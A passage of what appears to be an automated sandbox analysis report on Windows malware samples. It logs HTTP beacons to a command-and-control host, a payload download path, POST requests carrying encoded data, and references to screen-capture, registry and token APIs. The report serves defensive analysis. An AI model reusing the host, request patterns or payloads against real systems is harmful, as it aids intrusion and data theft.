==>35630D0A546C52524D5531555A7A4A4D51307035575663316131677A546A426A61556B325357745354316474546B4E685A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A7A524D51307035575663316131677A546A426A61556B3253577857556C6F7A52586C5A5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531555A7A564D51307035575663316131677A546A426A61556B325357316F54314656566E6C575A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531556133644D51307035575663316131677A546A426A61556B325357356F53566C58546B35615A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531556133684D51307035575663316131677A546A426A61556B325357785752315A7459336C6C5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531556133704D51307035575663316131677A546A426A61556B32535731735445317355586C685A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531556133704D51307035575663316131677A546A426A61556B325357784B616D4D7A526E686C5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D553155617A464D51307035575663316131677A546A426A61556B325357706B64566B794D56644E5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D553155617A464D51307035575663316131677A546A426A61556B32535770574D32467361445A6B5A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D553155617A4E4D51307035575663316131677A546A426A61556B325357747761475245576B68555A586C4B656D465855576C50616B5530....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D553155617A524D51307035575663316131677A546A426A61556B32535735475631645663476C4F5A586C4B656D465855576C50616B5531....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:19:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D553155617A564D51307035575663316131677A546A426A61556B325357704B56564D795A4770615A586C4B656D465855576C50616B5531....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D5531715158644D51307035575663316131677A546A426A61556B325357314F643156475A46564F5A586C4B656D465855576C50616B5531....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D55317151586C4D51307035575663316131677A546A426A61556B325357316B4E6B3549526A4A545A586C4B656D465855576C50616B5531....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Host: app.alie3ksgaa.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Mon 29 Jan 2024 16:20:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.33 with response body ==>35630D0A546C52524D55317151586C4D51307035575663316131677A546A426A61556B32535773314D465A72536D46615A586C4B656D465855576C50616B5531.......83:T10e9,Observed system executable string:"1,"fusion","GAC",01,"WinRT","NotApp",13,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",03,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: file.exe.log] Observed system executable string:"3,"System Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll",0" [Source: file.exe.log] Observed system executable string:"3,"System.Core Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll",0" [Source: file.exe.log] Observed system executable string:"3,"System.Xml Version=4.0.0.0 Culture=neutral PublicKeyToken=b77a5c561934e089","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Xml\15af16d373cf0528cb74fc73d365fdbf\System.Xml.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"3,"System.Configuration Version=4.0.0.0 Culture=neutral PublicKeyToken=b03f5f7f11d50a3a","C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\System.Configuration\96f7edb07b12303f0ec2595c7f3778c7\System.Configuration.ni.dll",0" [Source: powershell.exe.log] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00007004-00000C25-11821268] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00007004-00000C25-12006292] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00007004-00000C25-12073732] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00007004-00000C25-12118792] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00007004-00000C25-12186919] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00007004-00000C25-12214549] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00007004-00000C25-12241054] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00007004-00000C25-12293385] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00007004-00000C25-12377721] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00007004-00000C25-12401667] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00007004-00000C25-12449408] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00007004-00000C25-12464253] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll" [Source: 00000000-00007004-00000C25-12477866] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00007004-00000C25-12536229] Observed system executable string:"%WINDIR%\system32\UXTHEME.dll" [Source: 00000000-00007492-00000C25-13569798] Observed system executable string:"%WINDIR%\system32\USERENV.dll" [Source: 00000000-00007492-00000C25-13606256] Observed system executable string:"%WINDIR%\system32\SETUPAPI.dll" [Source: 00000000-00007492-00000C25-13635441] Observed system executable string:"%WINDIR%\system32\APPHELP.dll" [Source: 00000000-00007492-00000C25-13825432] Observed system executable string:"%WINDIR%\system32\PROPSYS.dll" [Source: 00000000-00007492-00000C25-13874094] Observed system executable string:"%WINDIR%\system32\DWMAPI.dll" [Source: 00000000-00007492-00000C25-13932551]84:Teea,"rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2ac2e00" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2af8d60" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4efed70" "dwHeadersLength": "0" "dwOptionalLength": "0" "dwTotalLength": "0" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2ac2e00" "dwHeadersLength": "0" "lpOptional": "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" "dwOptionalLength": "192" "dwTotalLength": "192" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "2ac2e00" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "53919e0" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4efed70" "dwHeadersLength": "0" "lpOptional": "STRZVFZrTUdRd1pEaG1ZMlU1TmpOaE5qSTFaak01T0RFaUxDQWlkV2xrSWpvZ0lqSXlNalVpTENBaWRXNWZjSGRrSWpvZ0lleUpqYjI5cmFXVktjMjl1SWpvZ1cxMHNJQ0pwYzJsdWMzUmhiR3dpT2lBaU1DSXNJQ0p0WVdNaU9pQWlOalk0T0RNd01HaUo5" "dwOptionalLength": "192" "dwTotalLength": "192" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "53de3c0" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "5419a50" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"} "rty25.exe" called "WinHttpSendRequest" with parameters {"hRequest": "4ed9710" "dwHeadersLength": "0" "lpOptional": "WVhSbElqb2dJakUwTlRrNU1UUXhNVEkySWl3Z0ltaDBkSEJQYm14NUlqb2dJa1pCVEZORklpd2dJbTVoYldVaU9pQWlYMnB6WDJSaGRISWlMQ0FpY0dGMGFDSTZJQ0l2SWl3Z0luTmhiV1ZUYVhSbElqb2dJazV2Ym1VaUxDQWljMlZqZFhKbElqb2dJbFJTVlVVaUxDQWlkbUZzZFdVaU9pQWlPWE01Y1ZsdFgwRXRNRlpMUW5scFdsTk5Nbk4yYTBO" "dwOptionalLength": "860" "dwTotalLength": "860" "dwContext": "0"}85:T461,Found http requests in header "GET /cpa/ping.php?substr=nine&s=ab" Found http requests in header "GET /syncUpd.exe" Found http requests in header "POST /3886d2276f6914c4.php" Found http requests in header "GET /ping.php?substr=nine" Found http requests in header "GET /check/safe" Found http requests in header "POST /check/?sid=18671&key=be99e179eaaa4a677a5334c5acd5edf3" Found http requests in header "POST /check/?sid=18690&key=6dc64b1b6cc4a0a62f037cd5f87b8d73" Found http requests in header "POST /check/?sid=18736&key=753d46256724082d10c460c79e6e3127" Found http requests in header "POST /check/?sid=18758&key=f50ac250b3ae4c8bf06418549efed11b" Found http requests in header "POST /check/?sid=18792&key=c5c68af0454507c4cb48f224084f5369" Found http requests in header "POST /check/?sid=18805&key=e5bee4d2e3e91ecae881f3a9893140c8" Found http requests in header "POST /check/?sid=18827&key=491ce436d2274a8d7cd2de47b6b100a6" Found http requests in header "POST /check/?sid=18846&key=ca3b1230b497f309f0f65e69b8b578ac" Found http requests in header "POST /check/?sid=18883&key=46cea1de4ba794f10093a8f31488305a"86:T52f,"BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "1040255151" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "553715882" "cx": "1" "cy": "1"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "16" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "32" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "52" "cy": "39"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "32" "cy": "32"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "64" "cy": "16"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "64" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "687933785" "cx": "4800" "cy": "64"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16844629" "cx": "320" "cy": "20"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16844629" "cx": "5" "cy": "215"} "BroomSetup.exe" called "CreateCompatibleBitmap" with parameters {"hdc": "16844629" "cx": "320" "cy": "5"}87:T90c,"file.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007004) "file.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00007004) "file.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00007004)88:Td6a,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004788.00000000.68553.03110000.00000004.mdmp, 00000000-00004788.00000001.70475.03110000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00007004.00000000.67974.030C0000.00000004.mdmp")89:T8ea,Found reference to API "RegQueryInfoKeyW" (Indicator: "RegQueryInfoKey"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegOpenKeyW" (Indicator: "RegOpenKey"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00001968.00000000.68818.007C6000.00000004.mdmp, 00000000-00001968.00000002.72661.007C5000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006936.00000000.71947.008D1000.00000002.mdmp")8a:T751,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "syncUpd_1_.exe.1537521071") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "syncUpd_1_.exe.1537521071") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00001908.00000000.68611.7EAC3000.00000002.mdmp") Found reference to API "WTSQuerySessionInformationW" (Indicator: "WTSQuerySessionInformation"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00003376.00000000.71842.0E400000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API "LookupAccountNameW" (Indicator: "LookupAccountName"; Source: "00000000-00004788.00000001.70475.0E800000.00000004.mdmp") Found reference to API 